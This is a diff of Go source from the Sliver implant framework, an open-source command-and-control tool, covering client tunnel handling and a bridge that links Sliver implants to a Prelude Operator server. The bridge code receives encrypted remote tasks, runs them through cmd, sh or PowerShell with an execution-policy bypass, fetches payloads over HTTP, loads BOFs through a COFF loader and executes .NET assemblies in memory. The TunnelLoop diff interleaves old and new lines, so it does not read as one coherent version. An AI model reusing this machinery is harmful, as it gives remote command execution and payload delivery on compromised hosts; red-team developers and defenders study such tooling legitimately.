// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
stream, err := rpc.TunnelData(context.Background())
if err != nil {
return err
}
GetTunnels().SetStream(stream)
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
// log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -57,24 +133,16 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
tunnel.Recv <- incoming.GetData()
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
GetTunnels().Close(tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
-146
View File
@@ -1,146 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
-162
View File
@@ -1,162 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
+166
View File
@@ -0,0 +1,166 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+12 -37
View File
@@ -1,23 +1,5 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -27,6 +9,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -42,9 +25,9 @@ type bofArgs struct {
Value interface{} `json:"value"`
}
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
if err != nil {
return
}
@@ -54,8 +37,6 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
@@ -108,19 +89,13 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
@@ -129,16 +104,16 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
return
}
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch implant.GetArch() {
switch session.Arch {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
@@ -146,9 +121,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: implant.GetOS(),
OS: session.OS,
Init: "",
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return err
@@ -159,9 +134,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
return nil
}
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return false
-206
View File
@@ -1,206 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+14 -53
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,13 +24,11 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
@@ -48,25 +46,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
@@ -77,47 +57,30 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
bites, status, pid := execute(message, executor, agentSession)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(implantBridge.Implant),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
return execResp.Response.Err, 0, 0
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -126,11 +89,9 @@ func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/S", "/C"}
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
@@ -148,13 +109,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
func shutdown(agentSession *AgentSession) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Implant),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
}
+3 -3
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() OperatorBeacon
BuildBeacon() Beacon
}
type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
Executing map[string]Instruction
}
type OperatorBeacon struct {
type Beacon struct {
Name string
Target string
Hostname string
-68
View File
@@ -1,68 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+40 -56
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,6 +21,7 @@ package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
@@ -30,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var ImplantMapper *OperatorImplantMapper
var SessionMapper *PreludeSessionMapper
const defaultImplantSleep = 5
@@ -41,45 +42,30 @@ type OperatorConfig struct {
AESKey string
}
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return ImplantMapper
return SessionMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a),
Request: MakeRequest(s),
})
if err != nil {
return err
@@ -87,57 +73,55 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if pwdResp != nil {
pwd = pwdResp.Path
}
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
